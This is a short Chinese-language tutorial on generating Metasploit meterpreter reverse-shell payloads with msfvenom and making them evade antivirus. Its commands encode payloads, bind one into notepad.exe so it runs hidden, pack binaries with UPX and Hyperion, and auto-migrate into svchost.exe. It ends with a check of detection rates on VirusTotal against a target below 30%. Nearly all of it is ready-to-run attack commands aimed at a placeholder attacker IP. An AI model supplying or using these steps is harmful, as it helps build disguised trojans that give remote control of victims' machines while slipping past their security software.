Metasploit渗透测试：payload生成与免杀技巧

asploit生成免杀payload需结合编码器、加壳工具及自定义模板，核心是通过多重编码和进程迁移绕过杀软检测。

一、基础Payload生成

1. 生成基础反向连接Payload

bash

msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=端口 -f exe -o payload.exe

• -p：指定payload类型（如windows/meterpreter/reverse_tcp）；
• -f：输出格式（exe、py、ps1等）；
• -o：输出文件路径。

2. 编码避免坏字符

bash

msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=端口 -e x86/shikata_ga_nai -i 15 -b '\x00' -f exe -o encoded_payload.exe

• -e：使用编码器（推荐x86/shikata_ga_nai）；

• -i：编码迭代次数（10-20次，次数过多可能导致Payload失效）；

• -b：过滤坏字符（如\x00避免截断）。

---

二、免杀进阶技巧

1. 自定义模板捆绑

将Payload嵌入正常程序（如Notepad、计算器）：

bash

msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=端口 -x "C:\Windows\notepad.exe" -k -f exe -o bind_notepad.exe

• -x：指定合法程序作为模板；
• -k：保持模板程序正常运行，Payload在后台执行。

2. 加壳工具增强免杀

• UPX压缩壳 ：

  bash

  upx -5 payload.exe -o payload_upx.exe # 压缩可执行文件，降低特征码检测率

• Hyperion加密壳 ：

  bash

  wine hyperion.exe -v payload.exe payload_hyperion.exe # 加密Payload，对抗静态分析

3. 进程迁移隐藏

生成Payload时配置自动迁移至系统进程（如svchost.exe）：

bash

msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=端口 PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o migrate_payload.exe

---

三、免杀效果测试

1. 本地杀软扫描：用360、火绒等查杀生成的Payload，验证免杀效果。

2. 在线沙箱检测：上传至VirusTotal，查看多引擎查杀结果（目标检出率<30%为有效免杀）。